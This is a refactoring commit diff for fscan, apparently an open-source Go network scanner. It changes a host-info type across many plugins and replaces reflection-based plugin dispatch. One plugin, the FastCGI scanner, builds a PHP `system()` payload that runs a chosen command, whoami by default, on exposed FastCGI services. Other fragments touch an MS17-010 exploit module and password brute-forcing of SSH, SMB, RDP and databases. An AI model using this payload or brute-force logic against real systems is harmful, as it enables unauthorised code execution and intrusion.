refactor: 重构涉及文件更新

Plugins/CVE-2020-0796.go

@@ -3,6 +3,7 @@ package Plugins
 import (
 	"bytes"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"time"
 
 	"github.com/shadow1ng/fscan/common"
@@ -94,7 +95,7 @@ const (
 		"\x00\x00\x00\x00"
 )
 
-func SmbGhost(info *common.HostInfo) error {
+func SmbGhost(info *Config.HostInfo) error {
 	if common.IsBrute {
 		return nil
 	}
@@ -102,7 +103,7 @@ func SmbGhost(info *common.HostInfo) error {
 	return err
 }
 
-func SmbGhostScan(info *common.HostInfo) error {
+func SmbGhostScan(info *Config.HostInfo) error {
 	ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
 	addr := fmt.Sprintf("%s:%v", info.Host, port)
 	conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)

Plugins/NetBIOS.go

@@ -4,6 +4,7 @@ import (
 	"bytes"
 	"errors"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"gopkg.in/yaml.v3"
 	"net"
@@ -14,7 +15,7 @@ import (
 
 var errNetBIOS = errors.New("netbios error")
 
-func NetBIOS(info *common.HostInfo) error {
+func NetBIOS(info *Config.HostInfo) error {
 	netbios, _ := NetBIOS1(info)
 	output := netbios.String()
 	if len(output) > 0 {
@@ -25,7 +26,7 @@ func NetBIOS(info *common.HostInfo) error {
 	return errNetBIOS
 }
 
-func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
+func NetBIOS1(info *Config.HostInfo) (netbios NetBiosInfo, err error) {
 	netbios, err = GetNbnsname(info)
 	var payload0 []byte
 	if netbios.ServerService != "" || netbios.WorkstationService != "" {
@@ -84,7 +85,7 @@ func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
 	return
 }
 
-func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
+func GetNbnsname(info *Config.HostInfo) (netbios NetBiosInfo, err error) {
 	senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
 	//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
 	realhost := fmt.Sprintf("%s:137", info.Host)

Plugins/fcgiscan.go

@@ -6,6 +6,7 @@ import (
 	"encoding/binary"
 	"errors"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"io"
 	"strconv"
@@ -18,34 +19,43 @@ import (
 //https://xz.aliyun.com/t/9544
 //https://github.com/wofeiwo/webcgi-exploits
 
-func FcgiScan(info *common.HostInfo) {
+// FcgiScan 执行FastCGI服务器漏洞扫描
+func FcgiScan(info *Config.HostInfo) error {
+	// 如果设置了暴力破解模式则跳过
 	if common.IsBrute {
-		return
+		return nil
 	}
+
+	// 设置目标URL路径
 	url := "/etc/issue"
 	if common.Path != "" {
 		url = common.Path
 	}
 	addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
+
+	// 构造PHP命令注入代码
 	var reqParams string
-	var cutLine = "-----ASDGTasdkk361363s-----\n"
+	var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
+
 	switch {
 	case common.Command == "read":
-		reqParams = ""
+		reqParams = "" // 读取模式
 	case common.Command != "":
-		reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
+		reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", common.Command, cutLine) // 自定义命令
 	default:
-		reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
+		reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
 	}
 
-	env := make(map[string]string)
-
-	env["SCRIPT_FILENAME"] = url
-	env["DOCUMENT_ROOT"] = "/"
-	env["SERVER_SOFTWARE"] = "go / fcgiclient "
-	env["REMOTE_ADDR"] = "127.0.0.1"
-	env["SERVER_PROTOCOL"] = "HTTP/1.1"
+	// 设置FastCGI环境变量
+	env := map[string]string{
+		"SCRIPT_FILENAME": url,
+		"DOCUMENT_ROOT":   "/",
+		"SERVER_SOFTWARE": "go / fcgiclient ",
+		"REMOTE_ADDR":     "127.0.0.1",
+		"SERVER_PROTOCOL": "HTTP/1.1",
+	}
 
+	// 根据请求类型设置对应的环境变量
 	if len(reqParams) != 0 {
 		env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
 		env["REQUEST_METHOD"] = "POST"
@@ -54,6 +64,7 @@ func FcgiScan(info *common.HostInfo) {
 		env["REQUEST_METHOD"] = "GET"
 	}
 
+	// 建立FastCGI连接
 	fcgi, err := New(addr, common.Timeout)
 	defer func() {
 		if fcgi.rwc != nil {
@@ -61,54 +72,47 @@ func FcgiScan(info *common.HostInfo) {
 		}
 	}()
 	if err != nil {
-		errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
-		common.LogError(errlog)
-		return
+		fmt.Printf("[!] FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
+		return err
 	}
 
+	// 发送FastCGI请求
 	stdout, stderr, err := fcgi.Request(env, reqParams)
 	if err != nil {
-		errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
-		common.LogError(errlog)
-		return
+		fmt.Printf("[!] FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
+		return err
 	}
 
-	//1
-	//Content-type: text/html
-	//
-	//uid=1001(www) gid=1001(www) groups=1001(www)
-
-	//2
-	//Status: 404 Not Found
-	//Content-type: text/html
-	//
-	//File not found.
-	//Primary script unknown
-
-	//3
-	//Status: 403 Forbidden
-	//Content-type: text/html
-	//
-	//Access denied.
-	//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
+	// 处理响应结果
+	output := string(stdout)
 	var result string
-	var output = string(stdout)
-	if strings.Contains(output, cutLine) { //命令成功回显
+
+	if strings.Contains(output, cutLine) {
+		// 命令执行成功，提取输出结果
 		output = strings.SplitN(output, cutLine, 2)[0]
 		if len(stderr) > 0 {
-			result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
+			result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径，例如: -path /www/wwwroot/index.php",
+				info.Host, info.Ports, output, string(stderr))
 		} else {
-			result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
+			result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
+				info.Host, info.Ports, output)
 		}
 		common.LogSuccess(result)
-	} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
+	} else if strings.Contains(output, "File not found") ||
+		strings.Contains(output, "Content-type") ||
+		strings.Contains(output, "Status") {
+		// 目标存在FastCGI服务但可能路径错误
 		if len(stderr) > 0 {
-			result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
+			result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径，例如: -path /www/wwwroot/index.php",
+				info.Host, info.Ports, output, string(stderr))
 		} else {
-			result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
+			result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v",
+				info.Host, info.Ports, output)
 		}
 		common.LogSuccess(result)
 	}
+
+	return nil
 }
 
 // for padding so we don't have to allocate all the time

Plugins/findnet.go

@@ -4,6 +4,7 @@ import (
 	"bytes"
 	"encoding/hex"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"strconv"
 	"strings"
@@ -16,12 +17,12 @@ var (
 	bufferV3, _ = hex.DecodeString("0900ffff0000")
 )
 
-func Findnet(info *common.HostInfo) error {
+func Findnet(info *Config.HostInfo) error {
 	err := FindnetScan(info)
 	return err
 }
 
-func FindnetScan(info *common.HostInfo) error {
+func FindnetScan(info *Config.HostInfo) error {
 	realhost := fmt.Sprintf("%s:%v", info.Host, 135)
 	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
 	if err != nil {

Plugins/ftp.go

@@ -3,12 +3,13 @@ package Plugins
 import (
 	"fmt"
 	"github.com/jlaffaye/ftp"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"strings"
 	"time"
 )
 
-func FtpScan(info *common.HostInfo) (tmperr error) {
+func FtpScan(info *Config.HostInfo) (tmperr error) {
 	if common.IsBrute {
 		return
 	}
@@ -47,7 +48,7 @@ func FtpScan(info *common.HostInfo) (tmperr error) {
 	return tmperr
 }
 
-func FtpConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
+func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
 	Host, Port, Username, Password := info.Host, info.Ports, user, pass
 	conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)

Plugins/localinfo.go

@@ -2,6 +2,7 @@ package Plugins
 
 import (
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"os"
 	"path/filepath"
@@ -88,7 +89,7 @@ var (
 	}
 )
 
-func LocalInfoScan(info *common.HostInfo) (err error) {
+func LocalInfoScan(info *Config.HostInfo) (err error) {
 	home, err := os.UserHomeDir()
 	if err != nil {
 		errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err)

Plugins/memcached.go

@@ -2,12 +2,13 @@ package Plugins
 
 import (
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"strings"
 	"time"
 )
 
-func MemcachedScan(info *common.HostInfo) (err error) {
+func MemcachedScan(info *Config.HostInfo) (err error) {
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
 	client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
 	defer func() {

Plugins/mongodb.go

@@ -2,12 +2,13 @@ package Plugins
 
 import (
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"strings"
 	"time"
 )
 
-func MongodbScan(info *common.HostInfo) error {
+func MongodbScan(info *Config.HostInfo) error {
 	if common.IsBrute {
 		return nil
 	}
@@ -19,7 +20,7 @@ func MongodbScan(info *common.HostInfo) error {
 	return err
 }
 
-func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
+func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) {
 	flag = false
 	// op_msg
 	packet1 := []byte{

Plugins/ms17010-exp.go

@@ -5,6 +5,7 @@ import (
 	"encoding/binary"
 	"encoding/hex"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"io"
 	"io/ioutil"
@@ -13,7 +14,7 @@ import (
 	"time"
 )
 
-func MS17010EXP(info *common.HostInfo) {
+func MS17010EXP(info *Config.HostInfo) {
 	address := info.Host + ":445"
 	var sc string
 	switch common.SC {

Plugins/ms17010.go

@@ -5,6 +5,7 @@ import (
 	"encoding/hex"
 	"errors"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"strings"
 	"time"
@@ -23,7 +24,7 @@ var (
 	trans2SessionSetupRequest, _  = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
 )
 
-func MS17010(info *common.HostInfo) error {
+func MS17010(info *Config.HostInfo) error {
 	if common.IsBrute {
 		return nil
 	}
@@ -35,7 +36,7 @@ func MS17010(info *common.HostInfo) error {
 	return err
 }
 
-func MS17010Scan(info *common.HostInfo) error {
+func MS17010Scan(info *Config.HostInfo) error {
 	ip := info.Host
 	// connecting to a host in LAN if reachable should be very quick
 	conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)

Plugins/mssql.go

@@ -4,12 +4,13 @@ import (
 	"database/sql"
 	"fmt"
 	_ "github.com/denisenkom/go-mssqldb"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"strings"
 	"time"
 )
 
-func MssqlScan(info *common.HostInfo) (tmperr error) {
+func MssqlScan(info *Config.HostInfo) (tmperr error) {
 	if common.IsBrute {
 		return
 	}
@@ -36,7 +37,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
 	return tmperr
 }
 
-func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
+func MssqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
 	Host, Port, Username, Password := info.Host, info.Ports, user, pass
 	dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)

Plugins/mysql.go

@@ -4,12 +4,13 @@ import (
 	"database/sql"
 	"fmt"
 	_ "github.com/go-sql-driver/mysql"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"strings"
 	"time"
 )
 
-func MysqlScan(info *common.HostInfo) (tmperr error) {
+func MysqlScan(info *Config.HostInfo) (tmperr error) {
 	if common.IsBrute {
 		return
 	}
@@ -36,7 +37,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
 	return tmperr
 }
 
-func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
+func MysqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
 	Host, Port, Username, Password := info.Host, info.Ports, user, pass
 	dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second)

Plugins/oracle.go

@@ -3,13 +3,14 @@ package Plugins
 import (
 	"database/sql"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	_ "github.com/sijms/go-ora/v2"
 	"strings"
 	"time"
 )
 
-func OracleScan(info *common.HostInfo) (tmperr error) {
+func OracleScan(info *Config.HostInfo) (tmperr error) {
 	if common.IsBrute {
 		return
 	}
@@ -36,7 +37,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
 	return tmperr
 }
 
-func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
+func OracleConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
 	Host, Port, Username, Password := info.Host, info.Ports, user, pass
 	dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)

Plugins/postgres.go

@@ -4,12 +4,13 @@ import (
 	"database/sql"
 	"fmt"
 	_ "github.com/lib/pq"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"strings"
 	"time"
 )
 
-func PostgresScan(info *common.HostInfo) (tmperr error) {
+func PostgresScan(info *Config.HostInfo) (tmperr error) {
 	if common.IsBrute {
 		return
 	}
@@ -36,7 +37,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
 	return tmperr
 }
 
-func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
+func PostgresConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
 	flag = false
 	Host, Port, Username, Password := info.Host, info.Ports, user, pass
 	dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")

Plugins/rdp.go

@@ -3,6 +3,7 @@ package Plugins
 import (
 	"errors"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"github.com/tomatome/grdp/core"
 	"github.com/tomatome/grdp/glog"
@@ -26,7 +27,7 @@ type Brutelist struct {
 	pass string
 }
 
-func RdpScan(info *common.HostInfo) (tmperr error) {
+func RdpScan(info *Config.HostInfo) (tmperr error) {
 	if common.IsBrute {
 		return
 	}

Plugins/redis.go

@@ -3,6 +3,7 @@ package Plugins
 import (
 	"bufio"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"io"
 	"net"
@@ -16,7 +17,7 @@ var (
 	dir        string
 )
 
-func RedisScan(info *common.HostInfo) (tmperr error) {
+func RedisScan(info *Config.HostInfo) (tmperr error) {
 	starttime := time.Now().Unix()
 	flag, err := RedisUnauth(info)
 	if flag == true && err == nil {
@@ -45,7 +46,7 @@ func RedisScan(info *common.HostInfo) (tmperr error) {
 	return tmperr
 }
 
-func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
+func RedisConn(info *Config.HostInfo, pass string) (flag bool, err error) {
 	flag = false
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
 	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
@@ -81,7 +82,7 @@ func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
 	return flag, err
 }
 
-func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
+func RedisUnauth(info *Config.HostInfo) (flag bool, err error) {
 	flag = false
 	realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
 	conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)

Plugins/scanner.go

@@ -2,22 +2,22 @@ package Plugins
 
 import (
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/WebScan/lib"
 	"github.com/shadow1ng/fscan/common"
-	"reflect"
 	"strconv"
 	"strings"
 	"sync"
 )
 
-func Scan(info common.HostInfo) {
+func Scan(info Config.HostInfo) {
 	fmt.Println("[*] 开始信息扫描...")
 
 	// 本地信息收集模块
 	if common.Scantype == "localinfo" {
 		ch := make(chan struct{}, common.Threads)
 		wg := sync.WaitGroup{}
-		AddScan("1000006", info, &ch, &wg)
+		AddScan("localinfo", info, &ch, &wg)
 		wg.Wait()
 		common.LogWG.Wait()
 		close(common.Results)
@@ -36,9 +36,7 @@ func Scan(info common.HostInfo) {
 	lib.Inithttp()
 	ch := make(chan struct{}, common.Threads)
 	wg := sync.WaitGroup{}
-	web := strconv.Itoa(common.PORTList["web"])
-	ms17010 := strconv.Itoa(common.PORTList["ms17010"])
-	var AlivePorts, severports []string
+	var AlivePorts []string
 
 	if len(Hosts) > 0 || len(common.HostPort) > 0 {
 		// ICMP存活性检测
@@ -52,22 +50,7 @@ func Scan(info common.HostInfo) {
 		}
 
 		// 端口扫描策略
-		switch common.Scantype {
-		case "webonly", "webpoc":
-			AlivePorts = NoPortScan(Hosts, common.Ports)
-		case "hostname":
-			common.Ports = "139"
-			AlivePorts = NoPortScan(Hosts, common.Ports)
-		default:
-			if len(Hosts) > 0 {
-				AlivePorts = PortScan(Hosts, common.Ports, common.Timeout)
-				fmt.Printf("[+] 存活端口数量: %d\n", len(AlivePorts))
-				if common.Scantype == "portscan" {
-					common.LogWG.Wait()
-					return
-				}
-			}
-		}
+		AlivePorts = executeScanStrategy(Hosts, common.Scantype)
 
 		// 处理自定义端口
 		if len(common.HostPort) > 0 {
@@ -77,12 +60,7 @@ func Scan(info common.HostInfo) {
 			fmt.Printf("[+] 总计存活端口: %d\n", len(AlivePorts))
 		}
 
-		// 构建服务端口列表
-		for _, port := range common.PORTList {
-			severports = append(severports, strconv.Itoa(port))
-		}
-
-		// 开始漏洞扫描
+		// 执行扫描任务
 		fmt.Println("[*] 开始漏洞扫描...")
 		for _, targetIP := range AlivePorts {
 			hostParts := strings.Split(targetIP, ":")
@@ -92,34 +70,14 @@ func Scan(info common.HostInfo) {
 			}
 			info.Host, info.Ports = hostParts[0], hostParts[1]
 
-			if common.Scantype == "all" || common.Scantype == "main" {
-				switch {
-				case info.Ports == "135":
-					AddScan(info.Ports, info, &ch, &wg)
-					if common.IsWmi {
-						AddScan("1000005", info, &ch, &wg)
-					}
-				case info.Ports == "445":
-					AddScan(ms17010, info, &ch, &wg)
-				case info.Ports == "9000":
-					AddScan(web, info, &ch, &wg)
-					AddScan(info.Ports, info, &ch, &wg)
-				case IsContain(severports, info.Ports):
-					AddScan(info.Ports, info, &ch, &wg)
-				default:
-					AddScan(web, info, &ch, &wg)
-				}
-			} else {
-				scantype := strconv.Itoa(common.PORTList[common.Scantype])
-				AddScan(scantype, info, &ch, &wg)
-			}
+			executeScanTasks(info, common.Scantype, &ch, &wg)
 		}
 	}
 
 	// URL扫描
 	for _, url := range common.Urls {
 		info.Url = url
-		AddScan(web, info, &ch, &wg)
+		AddScan("web", info, &ch, &wg)
 	}
 
 	// 等待所有任务完成
@@ -129,11 +87,65 @@ func Scan(info common.HostInfo) {
 	fmt.Printf("[✓] 扫描已完成: %v/%v\n", common.End, common.Num)
 }
 
+// executeScanStrategy 执行端口扫描策略
+func executeScanStrategy(Hosts []string, scanType string) []string {
+	switch scanType {
+	case "webonly", "webpoc":
+		return NoPortScan(Hosts, common.Ports)
+	case "hostname":
+		common.Ports = "139"
+		return NoPortScan(Hosts, common.Ports)
+	default:
+		if len(Hosts) > 0 {
+			ports := PortScan(Hosts, common.Ports, common.Timeout)
+			fmt.Printf("[+] 存活端口数量: %d\n", len(ports))
+			if scanType == "portscan" {
+				common.LogWG.Wait()
+				return nil
+			}
+			return ports
+		}
+	}
+	return nil
+}
+
+// executeScanTasks 执行扫描任务
+func executeScanTasks(info Config.HostInfo, scanType string, ch *chan struct{}, wg *sync.WaitGroup) {
+	if scanType == "all" || scanType == "main" {
+		// 根据端口选择扫描插件
+		switch info.Ports {
+		case "135":
+			AddScan("findnet", info, ch, wg)
+			if common.IsWmi {
+				AddScan("wmiexec", info, ch, wg)
+			}
+		case "445":
+			AddScan("ms17010", info, ch, wg)
+		case "9000":
+			AddScan("web", info, ch, wg)
+			AddScan("fcgi", info, ch, wg)
+		default:
+			// 查找对应端口的插件
+			for name, plugin := range Config.PluginManager {
+				if strconv.Itoa(plugin.Port) == info.Ports {
+					AddScan(name, info, ch, wg)
+					return
+				}
+			}
+			// 默认执行Web扫描
+			AddScan("web", info, ch, wg)
+		}
+	} else {
+		// 直接使用指定的扫描类型
+		AddScan(scanType, info, ch, wg)
+	}
+}
+
 // Mutex用于保护共享资源的并发访问
 var Mutex = &sync.Mutex{}
 
 // AddScan 添加扫描任务到并发队列
-func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
+func AddScan(scantype string, info Config.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
 	// 获取信号量，控制并发数
 	*ch <- struct{}{}
 	// 添加等待组计数
@@ -161,20 +173,25 @@ func AddScan(scantype string, info common.HostInfo, ch *chan struct{}, wg *sync.
 	}()
 }
 
-// ScanFunc 通过反射调用对应的扫描插件
-func ScanFunc(name *string, info *common.HostInfo) {
-	// 异常恢复处理
+// ScanFunc 执行扫描插件
+func ScanFunc(name *string, info *Config.HostInfo) {
 	defer func() {
 		if err := recover(); err != nil {
 			fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
 		}
 	}()
 
-	// 通过反射获取插件函数
-	f := reflect.ValueOf(PluginList[*name])
-	// 构造参数并调用插件函数
-	in := []reflect.Value{reflect.ValueOf(info)}
-	f.Call(in)
+	// 检查插件是否存在
+	plugin, exists := Config.PluginManager[*name]
+	if !exists {
+		fmt.Printf("[*] 扫描类型 %v 无对应插件，已跳过\n", *name)
+		return
+	}
+
+	// 直接调用扫描函数
+	if err := plugin.ScanFunc(info); err != nil {
+		fmt.Printf("[!] 扫描错误 %v:%v - %v\n", info.Host, info.Ports, err)
+	}
 }
 
 // IsContain 检查切片中是否包含指定元素

Plugins/smb.go

@@ -3,6 +3,7 @@ package Plugins
 import (
 	"errors"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"github.com/stacktitan/smb/smb"
 	"strings"
@@ -10,7 +11,7 @@ import (
 )
 
 // SmbScan 执行SMB服务的认证扫描
-func SmbScan(info *common.HostInfo) (tmperr error) {
+func SmbScan(info *Config.HostInfo) (tmperr error) {
 	// 如果未启用暴力破解则直接返回
 	if common.IsBrute {
 		return nil
@@ -64,7 +65,7 @@ func SmbScan(info *common.HostInfo) (tmperr error) {
 }
 
 // SmblConn 尝试建立SMB连接并进行认证
-func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
+func SmblConn(info *Config.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
 	flag = false
 
 	// 配置SMB连接选项
@@ -92,7 +93,7 @@ func SmblConn(info *common.HostInfo, user string, pass string, signal chan struc
 }
 
 // doWithTimeOut 执行带超时的SMB连接认证
-func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
+func doWithTimeOut(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
 	signal := make(chan struct{})
 
 	// 在goroutine中执行SMB连接

Plugins/smb2.go

@@ -2,6 +2,7 @@ package Plugins
 
 import (
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"net"
 	"os"
@@ -12,7 +13,7 @@ import (
 )
 
 // SmbScan2 执行SMB2服务的认证扫描，支持密码和哈希两种认证方式
-func SmbScan2(info *common.HostInfo) (tmperr error) {
+func SmbScan2(info *Config.HostInfo) (tmperr error) {
 	// 如果未启用暴力破解则直接返回
 	if common.IsBrute {
 		return nil
@@ -31,7 +32,7 @@ func SmbScan2(info *common.HostInfo) (tmperr error) {
 }
 
 // smbHashScan 使用哈希进行认证扫描
-func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error {
+func smbHashScan(info *Config.HostInfo, hasprint bool, startTime int64) error {
 	for _, user := range common.Userdict["smb"] {
 		for _, hash := range common.HashBytes {
 			success, err, printed := Smb2Con(info, user, "", hash, hasprint)
@@ -59,7 +60,7 @@ func smbHashScan(info *common.HostInfo, hasprint bool, startTime int64) error {
 }
 
 // smbPasswordScan 使用密码进行认证扫描
-func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) error {
+func smbPasswordScan(info *Config.HostInfo, hasprint bool, startTime int64) error {
 	for _, user := range common.Userdict["smb"] {
 		for _, pass := range common.Passwords {
 			pass = strings.ReplaceAll(pass, "{user}", user)
@@ -88,7 +89,7 @@ func smbPasswordScan(info *common.HostInfo, hasprint bool, startTime int64) erro
 }
 
 // logSuccessfulAuth 记录成功的认证
-func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) {
+func logSuccessfulAuth(info *Config.HostInfo, user, pass string, hash []byte) {
 	var result string
 	if common.Domain != "" {
 		result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ",
@@ -107,7 +108,7 @@ func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) {
 }
 
 // logFailedAuth 记录失败的认证
-func logFailedAuth(info *common.HostInfo, user, pass string, hash []byte, err error) {
+func logFailedAuth(info *Config.HostInfo, user, pass string, hash []byte, err error) {
 	var errlog string
 	if len(hash) > 0 {
 		errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v",
@@ -134,7 +135,7 @@ func shouldStopScan(err error, startTime int64, totalAttempts int) bool {
 }
 
 // Smb2Con 尝试SMB2连接并进行认证，检查共享访问权限
-func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
+func Smb2Con(info *Config.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) {
 	// 建立TCP连接
 	conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host),
 		time.Duration(common.Timeout)*time.Second)
@@ -197,7 +198,7 @@ func Smb2Con(info *common.HostInfo, user string, pass string, hash []byte, haspr
 }
 
 // logShareInfo 记录SMB共享信息
-func logShareInfo(info *common.HostInfo, user string, pass string, hash []byte, shares []string) {
+func logShareInfo(info *Config.HostInfo, user string, pass string, hash []byte, shares []string) {
 	var result string
 
 	// 构建基础信息

Plugins/ssh.go

@@ -2,6 +2,7 @@ package Plugins
 
 import (
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"github.com/shadow1ng/fscan/common"
 	"golang.org/x/crypto/ssh"
 	"io/ioutil"
@@ -11,7 +12,7 @@ import (
 )
 
 // SshScan 执行SSH服务的认证扫描
-func SshScan(info *common.HostInfo) (tmperr error) {
+func SshScan(info *Config.HostInfo) (tmperr error) {
 	if common.IsBrute {
 		return
 	}
@@ -56,7 +57,7 @@ func SshScan(info *common.HostInfo) (tmperr error) {
 }
 
 // SshConn 尝试建立SSH连接并进行认证
-func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
+func SshConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) {
 	// 准备认证方法
 	var auth []ssh.AuthMethod
 	if common.SshKey != "" {

Plugins/webtitle.go

@@ -4,6 +4,7 @@ import (
 	"compress/gzip"
 	"crypto/tls"
 	"fmt"
+	"github.com/shadow1ng/fscan/Config"
 	"io"
 	"net/http"
 	"net/url"
@@ -18,7 +19,7 @@ import (
